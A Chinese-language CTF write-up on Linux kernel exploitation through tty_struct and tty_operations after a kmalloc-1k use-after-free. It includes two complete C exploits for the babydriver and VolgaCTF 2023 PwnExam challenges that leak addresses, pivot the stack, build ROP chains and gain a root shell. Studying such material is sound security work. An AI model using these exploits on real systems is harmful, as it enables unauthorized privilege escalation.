Kernel Pwn Struct tty_struct and Struct tty_operations
代码分析
linux 中有一个伪终端设备 /dev/ptmx
, 当 open("/dev/ptmx")
时, 会从 kmalloc-1k 中分配一个 tty_struct
(0x2b8). 这个结构体关键的一些变量如下:
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
// ...
}
其中 magic
是魔数, 为 0x5401, tty_operations
是一个类似 vtable 的东西:
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver, struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty, const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty, unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty, struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
}
ops
在初始化的时候会赋值为一个全局变量 ptm_unix98_ops
. 同时, tty_struct
上还存有一些双向链表结构的变量, 初始化后会将 next 和 pre 都设置成自身, 从而存在一些堆地址.
功能
如果有 kmalloc-1k 的 UAF, 那么可以:
- leak kbase (r)
- leak kmalloc-1k heap (r)
- hijack rip (w)
- write arbitrary at arbitrary addr (w)
泄漏内核基地址
需要读功能. 可以用偏移 0x18 处的 ops = ptm_unix98_ops
, 关闭 kaslr, 从 kallsyms 中读取 ptm_unix98_ops
. 用泄漏出来的地址减去它, 就是基址了.
泄漏 kmalloc-1k 堆地址
需要读功能. 可以用偏移 0x38 处的一个链表指针, 它初始指向自身. 读出后减去 0x38 就是当前 tty_struct
的地址, 也是某个 kmalloc-1k 的堆地址.
劫持程序流
需要写功能, 覆盖 ops
, 伪造一个 tty_operations
(可以把 ops 的函数指针都试试).
write
比如使用 write. 当跳转到 write 时, 观察寄存器, 发现 rax
就是 &tty_struct.ops
, 可以找 gadget 如 mov rsp, rax
进行栈迁移, 这样可以覆盖 tty_struct.ops
之前的数据来 ROP. 不过这个空间有点小, 不够 ROP 还得再一次栈迁移.
ioctl
或者使用 ioctl, 它可以通过传递参数控制一些寄存器的值. 需要注意的是, 要使用 ioctl 必须保证魔数正确, driver
是一个内核堆地址.
当 ioctl 传入的 cmd
没有预设好的, 并且 tty->ops->ioctl != NULL
, 那么会调用 tty->ops->ioctl(tty, cmd, arg)
.
当走到这一步时, rbp = &tty_struct
, 如果将 tty->op->ioctl
设为 leave; ret
, 即可先将栈迁移到 &tty_struct + 0x8
处. 将这里设为 pop rsp; ret
, &tty_struct + 0x10
(.driver
) 处设为布置有 ROP 链的内核堆地址, 完成第二次栈迁移.
&tty_struct
, 但是其他寄存器可能是, 然后找 push reg; pop rsp; ret
这些, 也能够达到栈迁移的效果. 如果这个 reg 是 ioctl 可控参数, 那么可以一次栈迁移. (好像其实这样更方便通用).任意地址写任意值
需要写功能, 还是覆盖 ops
然后 ioctl, 利用 mov [rdx], rsi
这种 gadget.
例题
babydriver
我们用这个方法来做一下 babydriver 这题, 并加上 kaslr 和 kallsyms 不可读.
在 qemu 启动脚本中 -append
中加入 kaslr
, 在 init 中加上一行 echo 2 > /proc/sys/kernel/kptr_restrict
.
因为有 read, 所以可以泄漏 tty_struct
中的信息, 如 tty_operations
. tty_operations
会被初始化为全局变量 ptm_unix98_ops
或 pty_unix98_ops
, 他们在内核空间, 所以可以用来泄漏, 并计算偏移.
由于没开 smap, 可以直接劫持 tty_operations
到用户空间上, 这样构造起来就很方便了.
只能控制一个函数指针, 而且没有办法像 FSOP 那样改为 system 直接提权, 所以需要做一下栈迁移. 栈也可以迁移到用户空间上, 然后 ROP, bypass smep, ret2usr 提权.
当执行函数指针 write 时, 观察寄存器, 发现 rax 的值是 tty_operations
, 所以可以找 gadget 将栈迁移到伪造的 tty_operations
上. 如果栈还不够大, 可以再进行一次栈迁移.
这里可以找到 mov rsp, rax ; dec ebx ; jmp 0xffffffff8181bf7e
, 而 jmp 的地址处正好为 ret
. 这样一条语句就栈迁移了.
首先关闭 kaslr, 手动读 kallsyms 找出我们需要的函数和 gadget 地址, 然后分配到 tty_struct
, read 泄漏地址, 计算偏移, 写 tty_operations
指针为用户空间地址 fake_tty_operations
, 其 write 指针处写为 mov rsp, rax; ret
gadget, 然后从 fake_tty_operations
开始位置布置 ROP 链, 修改 cr4 bypass smep, ret2usr 提权.
// gcc exp.c -static -masm=intel -g -o exp
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/wait.h>
void success(const char *msg) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "\033[32m\033[1m[+] %s\033[0m", msg);
fprintf(stderr, "%s", buf);
free(buf);
}
void fail(const char *msg) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "\033[31m\033[1m[x] %s\033[0m", msg);
fprintf(stderr, "%s", buf);
free(buf);
}
void debug(const char *msg) {
#ifdef DEBUG
char *buf = calloc(0x1000, 1);
sprintf(buf, "\033[34m\033[1m[*] %s\033[0m", msg);
fprintf(stderr, "%s", buf);
free(buf);
#endif
}
void printvar(void print_handle(const char *), char *hint, size_t var) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "%s: 0x%lx\n", hint, var);
print_handle(buf);
free(buf);
}
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
user_sp &= ~0xf;
success("Status has been saved.\n");
printvar(debug, "cs", user_cs);
printvar(debug, "ss", user_ss);
printvar(debug, "rsp", user_sp);
printvar(debug, "rflags", user_rflags);
}
void getRootShell() {
success("Backing from the kernelspace.\n");
if(getuid()) {
fail("Failed to get the root!\n");
exit(-1);
}
success("Successful to get the root. Execve root shell now...\n");
system("/bin/sh");
exit(0);// to exit the process normally instead of segmentation fault
}
size_t func = (size_t) getRootShell;
size_t prepare_kernel_cred, commit_creds;
void ret2usr() {
__asm__(
"mov rax, prepare_kernel_cred;"
"mov rdi, 0;"
"call rax;"
"mov rdi, rax;"
"mov rax, commit_creds;"
"call rax;"
"swapgs;"
"push user_ss;"
"push user_sp;"
"push user_rflags;"
"push user_cs;"
"push func;"
"iretq;"
);
}
void pwn() {
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
ioctl(fd1, 65537, 0x2e0);
close(fd1);
int tty = open("/dev/ptmx", O_RDWR);
size_t buf[4] = {0};
read(fd2, buf, 0x20);
size_t off = buf[3] - 0xffffffff81a74f80;
printvar(success, "off", off);
size_t mov_rsp_rax_ret = off + 0xffffffff8181bfc5;
size_t mov_cr4_rdi_pop_rbp_ret = off + 0xffffffff81004d80;
size_t pop_rdi_ret = off + 0xffffffff810d238d;
prepare_kernel_cred = off + 0xffffffff810a1810;
commit_creds = off + 0xffffffff810a1420;
size_t fake_tty_operators[8];
fake_tty_operators[7] = mov_rsp_rax_ret;
fake_tty_operators[0] = pop_rdi_ret;
fake_tty_operators[1] = 0x6f0;
fake_tty_operators[2] = mov_cr4_rdi_pop_rbp_ret;
fake_tty_operators[3] = 0;
fake_tty_operators[4] = (size_t) ret2usr;
buf[3] = (size_t) &fake_tty_operators;
write(fd2, buf, 0x20);
write(tty, buf, 1);
}
int main() {
signal(SIGSEGV, getRootShell);
saveStatus();
pwn();
return 0;
}
VolgaCTF-2023-Qualifier PwnExam
菜单, 简单的 kmalloc-1k UAF, 可读写, 就不贴代码了. 保护是 smep, smap, kpti, 没有 kaslr.
这题使用 ioctl 来控制程序流. 由于没有溢出, 也开了 smap, 所以我们的 ROP 链只能够放在 kheap 上. 这里就需要泄漏一下 kheap. 首先分配一个 kmalloc-1k, 然后释放它, 再 open tty. 利用 UAF, 可以读到这个 tty struct 上的, 指向自身的指针, 从而泄漏这个 tty struct 地址.
然后覆盖 ops 函数表为 tty_addr + 0x20 - 0x60
, 将 ioctl 指向 tty_addr + 0x20
这里, 因为这里是我们可以控制的位置. 我们向这里输入 leave; ret
的地址. 这样, ioctl 调用函数表这里, rbp 是 &tty_addr
, leave 后 rsp 就到了 &tty_addr + 0x8
. 这里也是我们可以控制的. 将其改为 pop rsp ret, 后面接 tty_addr + 0x30
(或者其他偏移, 只要在 kheap 上且能够控制), 然后便可以继续在这个位置上布置更长的 ROP 链了.
这个版本找不到 rax 放入 rdi 的方法, 所以难以构造 commit_creds(prepare_kernel_cred(0)). 幸运的是, kernel 中有个静态变量 init_cred
, 他是 init 程序 (即根进程所使用的 cred), 具有 root 权限. 查一下 kallsyms 可以获得地址, 于是构造 commit_creds(init_cred) 即可提权. 最后回到用户态起 shell 即可.
// gcc exp.c -static -masm=intel -g -o exp
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
void success(const char *msg) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "\033[32m\033[1m[+] %s\033[0m", msg);
fprintf(stderr, "%s", buf);
free(buf);
}
void fail(const char *msg) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "\033[31m\033[1m[x] %s\033[0m", msg);
fprintf(stderr, "%s", buf);
free(buf);
}
void debug(const char *msg) {
#ifdef DEBUG
char *buf = calloc(0x1000, 1);
sprintf(buf, "\033[34m\033[1m[*] %s\033[0m", msg);
fprintf(stderr, "%s", buf);
free(buf);
#endif
}
void printvar(void print_handle(const char *), char *hint, size_t var) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "%s: 0x%lx\n", hint, var);
print_handle(buf);
free(buf);
}
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
user_sp &= ~0xf;
success("Status has been saved.\n");
printvar(debug, "cs", user_cs);
printvar(debug, "ss", user_ss);
printvar(debug, "rsp", user_sp);
printvar(debug, "rflags", user_rflags);
}
void getRootShell() {
success("Backing from the kernelspace.\n");
if(getuid()) {
fail("Failed to get the root!\n");
exit(-1);
}
success("Successful to get the root. Execve root shell now...\n");
system("/bin/sh");
exit(0);// to exit the process normally instead of segmentation fault
}
typedef struct ioctl_struct {
int note_index;
int note_size;
char *in_buf;
char *out_buf;
} request_t;
#define ADD 0x1337
#define WRITE 0x1338
#define READ 0x1339
#define FREE 0x133a
#define TTYSIZE 0x2b8
size_t leave_ret = 0xffffffff81b725f5ll;
size_t pop_rsp_ret = 0xffffffff81104cc6ll;
size_t init_cred = 0xffffffff8264c7a0ll;
size_t commit_creds = 0xffffffff8108d4b0ll;
size_t pop_rdi_ret = 0xffffffff817c39fdll;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00e30ll + 0x31;
void pwn() {
size_t *tty_struct = calloc(1, TTYSIZE);
int fd = open("/dev/volga_driver", O_RDWR);
request_t tty_request;
tty_request.note_index = 0;
tty_request.note_size = TTYSIZE;
tty_request.in_buf = (char *)tty_struct;
tty_request.out_buf = (char *)tty_struct;
ioctl(fd, ADD, &tty_request);
ioctl(fd, FREE, &tty_request);
int tty = open("/dev/ptmx", O_RDWR);
ioctl(fd, READ, &tty_request);
size_t tty_addr = tty_struct[0x38/8] - 0x38;
printvar(success, "tty addr", tty_addr);
size_t *rop = tty_struct + 0x30/8;
size_t rop_addr = tty_addr + 0x30;
tty_struct[0x08/8] = pop_rsp_ret;
tty_struct[0x10/8] = rop_addr;
tty_struct[0x18/8] = tty_addr + 0x20 - 0x60;
tty_struct[0x20/8] = leave_ret;
*rop++ = pop_rdi_ret;
*rop++ = init_cred;
*rop++ = commit_creds;
*rop++ = swapgs_restore_regs_and_return_to_usermode;
*rop++ = 0;
*rop++ = 0;
*rop++ = (size_t) getRootShell;
*rop++ = user_cs;
*rop++ = user_rflags;
*rop++ = user_sp;
*rop++ = user_ss;
ioctl(fd, WRITE, &tty_request);
ioctl(tty, 0xdeadbeef);
}
int main() {
signal(SIGSEGV, getRootShell);
saveStatus();
pwn();
return 0;
}
感觉这个方法比 write 那个要普适一点, 也挺模板的.